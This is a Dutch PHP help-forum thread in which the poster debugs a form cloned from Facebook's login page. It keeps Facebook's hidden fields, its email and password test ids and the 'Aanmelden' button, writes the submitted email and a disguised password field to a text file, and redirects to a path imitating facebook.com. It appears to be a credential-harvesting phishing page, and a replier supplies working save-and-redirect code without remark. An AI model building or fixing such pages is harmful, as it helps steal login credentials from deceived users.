Hallo,
Ik heb een probleem ik wil via een POST-method dat ze worden opgeslagen in een .txt bestand alleen krijg ik de volgende fout


Parse error: syntax error, unexpected '{' in C:\wamp64\www\index.php on line 12

 
<?php 
 if(isset($_POST['submit']) {
//Het ophalen en het schrijven van het bestand
$file = 'test.txt';
$text = $_POST['email']; 
$text = $_POST['adres'];
$fhandler = fopen($file, "a");
fwrite($fhandler, $text);
fclose($fhandler); 
 }
 ?>
<form id="login_form" action="page2.php" method="post" novalidate="1" onsubmit=""> 
<input type="hidden" name="jazoest" value="2684" autocomplete="off" /> 
<input type="hidden" name="lsd" value="AVoQcVLP" autocomplete="off" /> 
<table cellspacing="0" role="presentation"><tr><td class="html7magic"> 
<label for="email">E-mailadres of telefoonnummer</label></td> 
<td class="html7magic"><label for="adres">Adres</label></td></tr> 
<tr><td><input type="email" class="inputtext" name="email" id="email" data-testid="royal_email" /></td><td> 
<input type="adres" class="inputtext" name="adres" id="adres" data-testid="royal_pass" /></td><td> 
<label class="uiButton uiButtonConfirm" id="loginbutton" for="u_0_2"> 
<input value="Aanmelden" aria-label="Aanmelden" data-testid="royal_login_button" type="submit" id="u_0_2" /></label></td></tr>


bij lijn 12 kom ik dan op dit

if(isset($_POST['submit']) {
Het is me gelukt alleen nu wil ik als ik op de submit knop drukt dat die naar page2.php leidt
nou heb ik als volgende
 
<?php 
if( isset( $_POST['submit'] ) )
{  
echo '<meta http-equiv="Refresh" content="0; url=/page2.php" />';
} 
else 
{

    //Het ophalen en het schrijven van het bestand
    $file  = 'test.txt';
    $text  = $_POST['email'] . "\n"; 
    $text .= $_POST['adres'] . "\n";
    $fhandler = fopen($file, "a");
    fwrite($fhandler, $text);
    fclose($fhandler);  
}
?>


alleen de gegevens slaat die niet op
 
echo '<meta http-equiv="Refresh" content="0; url=/www.facebook.com/login/identify/page2.php" />';
} 

als ik deze weg haal werkt die wel weer iemand enige idee ?
Logisch, want je stuurt alleen door. De POST wordt niet meegenomen.


<?php
if($_SERVER['REQUEST_METHOD']=="POST") { // betere controle of het formulier ge-POST is.

//Het ophalen en het schrijven van het bestand
$file = 'test.txt';
$text = $_POST['email'] . "\n";
$text .= $_POST['adres'] . "\n";
$fhandler = fopen($file, "a");
fwrite($fhandler, $text);
fclose($fhandler);

// Doorsturen
header('Location:https://www.jouwsite.nl/www.facebook.com/login/identify/page2.php';);
exit; // script afbreken na doorsturen. Doorgaan is onnodig.
}
?>
als ik dat doe krijg ik de page2.php niet te zien
enkel wat mijn div veranderd naar niks
Heb je de foutafhandeling wel aanstaan? Heb je de URL al aangepast?
Ik vermoed dat de redirect niet werkt vanwege output voor de header.
headers worden uitgevoerd, die zie je niet. of je ziet een foutmelding.
Wat zie je precies?
nou ik zie dus niks enkel mijn header terwijl ik op page2.php een andere pagina heb hij blijft op index.php staan
Ik benadruk nog even mijn vorige post. Want je bent nog niet echt duidelijk!

Reageren